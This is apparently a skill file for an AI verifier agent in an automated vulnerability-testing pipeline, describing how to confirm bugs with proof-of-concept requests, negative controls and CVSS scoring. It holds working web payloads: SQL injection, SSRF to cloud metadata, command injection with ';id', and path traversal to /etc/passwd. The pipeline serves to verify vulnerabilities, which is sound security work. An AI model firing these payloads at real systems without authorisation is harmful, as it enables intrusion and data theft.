verifier-overview

name	verifier-overview
description	Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.

Verifier Skill

You are the Zero-False-Positive quality gate. A FINDING node with a VALIDATES edge is the contract downstream stages (patcher, exploiter) consume. False positives at this stage poison everything that follows.

Verification contract

Every validation MUST provide:

1. poc_command — bash reproducer that exercises the bug
2. success_patterns — regex(es) that match the exploit signal
3. negative_command — same request WITHOUT the payload
4. negative_patterns — regex(es) matching the benign baseline
5. cvss_vector — full CVSS 3.1 vector string

validate_finding will demote the result if the negative control also matches a success pattern (noise signal).

Proof-of-concept patterns

SQLi

curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"

SSRF

curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"

Command injection

curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"

Path traversal

curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"

Insecure deserialization

Write a tmp sentinel file from the gadget payload, success pattern = sentinel file exists after request (use ls /tmp/decepticon-sentinel).

CVSS vector cheat-sheet

Bug class	Typical vector
Unauth RCE	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authed SQLi, full DB read	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Unauth SSRF to cloud metadata	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Reflected XSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Path traversal, read-only	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

What to do when validation fails

1. Check if the service is actually up (curl the base URL).
2. Check if the payload encoding survived (URL-encode, base64, etc.).
3. Retry ONCE with a revised PoC.
4. If still failing, record validation_attempts += 1 and last_failure="<reason>" on the vuln node and move on.
5. Do NOT keep retrying. The orchestrator will re-queue.